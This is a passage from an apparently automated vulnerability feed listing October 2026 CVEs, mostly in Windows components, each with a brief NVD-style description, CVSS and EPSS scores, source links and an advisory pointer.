NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83580&date=2026-10-25
Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Windows PowerShell allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83578
Integer underflow (wrap or wraparound) in Windows PowerShell allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Windows PowerShell allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83578).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83578&date=2026-10-25).
Sources:
NVD CVE-2026-83578: https://nvd.nist.gov/vuln/detail/CVE-2026-83578
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83578&date=2026-10-25
Integer underflow (wrap or wraparound) in Windows PowerShell allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83575
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83575).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83575&date=2026-10-25).
Sources:
NVD CVE-2026-83575: https://nvd.nist.gov/vuln/detail/CVE-2026-83575
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83575&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83574
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83574).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83574&date=2026-10-25).
Sources:
NVD CVE-2026-83574: https://nvd.nist.gov/vuln/detail/CVE-2026-83574
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83574&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83570
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83570).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83570&date=2026-10-25).
Sources:
NVD CVE-2026-83570: https://nvd.nist.gov/vuln/detail/CVE-2026-83570
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83570&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in HID Parser Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83569
Heap-based buffer overflow in HID Parser Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in HID Parser Library allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83569).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83569&date=2026-10-25).
Sources:
NVD CVE-2026-83569: https://nvd.nist.gov/vuln/detail/CVE-2026-83569
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83569&date=2026-10-25
Heap-based buffer overflow in HID Parser Library allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83567
Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83567).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83567&date=2026-10-25).
Sources:
NVD CVE-2026-83567: https://nvd.nist.gov/vuln/detail/CVE-2026-83567
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83567&date=2026-10-25
Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83564
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83564).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83564&date=2026-10-25).
Sources:
NVD CVE-2026-83564: https://nvd.nist.gov/vuln/detail/CVE-2026-83564
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83564&date=2026-10-25
Use after free in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Reliance on untrusted inputs in a security decision in Windows IKE Extension allows an unauthorized attacker to perform spoofing over a network.
https://kevwire.com/record/CVE-2026-83522
Reliance on untrusted inputs in a security decision in Windows IKE Extension allows an unauthorized attacker to perform spoofing over a network. (Oct 13, 2026).
Reliance on untrusted inputs in a security decision in Windows IKE Extension allows an unauthorized attacker to perform spoofing over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83522).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83522&date=2026-10-25).
Sources:
NVD CVE-2026-83522: https://nvd.nist.gov/vuln/detail/CVE-2026-83522
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83522&date=2026-10-25
Reliance on untrusted inputs in a security decision in Windows IKE Extension allows an unauthorized attacker to perform spoofing over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83519
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83519).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83519&date=2026-10-25).
Sources:
NVD CVE-2026-83519: https://nvd.nist.gov/vuln/detail/CVE-2026-83519
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83519&date=2026-10-25
Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83517
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83517).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83517&date=2026-10-25).
Sources:
NVD CVE-2026-83517: https://nvd.nist.gov/vuln/detail/CVE-2026-83517
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83517&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83514
Heap-based buffer overflow in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83514).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83514&date=2026-10-25).
Sources:
NVD CVE-2026-83514: https://nvd.nist.gov/vuln/detail/CVE-2026-83514
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83514&date=2026-10-25
Heap-based buffer overflow in Windows Partition Management Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83513
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83513).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83513&date=2026-10-25).
Sources:
NVD CVE-2026-83513: https://nvd.nist.gov/vuln/detail/CVE-2026-83513
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83513&date=2026-10-25
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83508
Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83508).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83508&date=2026-10-25).
Sources:
NVD CVE-2026-83508: https://nvd.nist.gov/vuln/detail/CVE-2026-83508
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83508&date=2026-10-25
Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted search path in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83506
Untrusted search path in Servicing Stack Updates allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted search path in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83506).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83506&date=2026-10-25).
Sources:
NVD CVE-2026-83506: https://nvd.nist.gov/vuln/detail/CVE-2026-83506
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83506&date=2026-10-25
Untrusted search path in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-81971
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-81971).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81971&date=2026-10-25).
Sources:
NVD CVE-2026-81971: https://nvd.nist.gov/vuln/detail/CVE-2026-81971
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81971&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Internet Information Services allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-78459
Heap-based buffer overflow in Windows Internet Information Services allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Internet Information Services allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-78459).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-78459&date=2026-10-25).
Sources:
NVD CVE-2026-78459: https://nvd.nist.gov/vuln/detail/CVE-2026-78459
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-78459&date=2026-10-25
Heap-based buffer overflow in Windows Internet Information Services allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-77496
Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77496).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77496&date=2026-10-25).
Sources:
NVD CVE-2026-77496: https://nvd.nist.gov/vuln/detail/CVE-2026-77496
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77496&date=2026-10-25
Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The OpenText™ (EnCase SAFE Agents) component utilized by OpenText™ Endpoint Investigator, OpenText™ Endpoint Forensics & Response, OpenText™ Information Assurance, and OpenText™...
https://kevwire.com/record/CVE-2026-75120
The OpenText™ (EnCase SAFE Agents) component utilized by OpenText™ Endpoint Investigator, OpenText™ Endpoint Forensics & Response, OpenText™ Information Assurance, and OpenText™... (Oct 13, 2026).
The OpenText™ (EnCase SAFE Agents) component utilized by OpenText™ Endpoint Investigator, OpenText™ Endpoint Forensics & Response, OpenText™ Information Assurance, and OpenText™ Endpoint Security contains a security vulnerability on the Agents that could allow unauthorized or unauthenticated activity that establishes an unauthorized connection to a vulnerable Agent by bypassing intended security controls during session establishment
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75120).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75120&date=2026-10-25).
Sources:
NVD CVE-2026-75120: https://nvd.nist.gov/vuln/detail/CVE-2026-75120
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75120&date=2026-10-25
The OpenText™ (EnCase SAFE Agents) component utilized by OpenText™ Endpoint Investigator, OpenText™ Endpoint Forensics & Response, OpenText™ Information Assurance, and OpenText™ Endpoint Security contains a security vulnerability on the Agents that could allow unauthorized or unauthenticated activity that establishes an unauthorized connection to a vulnerable Agent by bypassing intended security controls during session establishment

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-72968
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-72968).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72968&date=2026-10-25).
Sources:
NVD CVE-2026-72968: https://nvd.nist.gov/vuln/detail/CVE-2026-72968
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72968&date=2026-10-25
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function in Windows Credential Guard allows an authorized attacker to perform spoofing locally.
https://kevwire.com/record/CVE-2026-70580
Missing authentication for critical function in Windows Credential Guard allows an authorized attacker to perform spoofing locally. (Oct 13, 2026).
Missing authentication for critical function in Windows Credential Guard allows an authorized attacker to perform spoofing locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70580).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70580&date=2026-10-25).
Sources:
NVD CVE-2026-70580: https://nvd.nist.gov/vuln/detail/CVE-2026-70580
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70580&date=2026-10-25
Missing authentication for critical function in Windows Credential Guard allows an authorized attacker to perform spoofing locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Null pointer dereference in Windows Schannel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70566
Null pointer dereference in Windows Schannel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Null pointer dereference in Windows Schannel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70566).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70566&date=2026-10-25).
Sources:
NVD CVE-2026-70566: https://nvd.nist.gov/vuln/detail/CVE-2026-70566
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70566&date=2026-10-25
Null pointer dereference in Windows Schannel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70286
Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70286).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70286&date=2026-10-25).
Sources:
NVD CVE-2026-70286: https://nvd.nist.gov/vuln/detail/CVE-2026-70286
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70286&date=2026-10-25
Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70278
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70278).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70278&date=2026-10-25).
Sources:
NVD CVE-2026-70278: https://nvd.nist.gov/vuln/detail/CVE-2026-70278
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70278&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

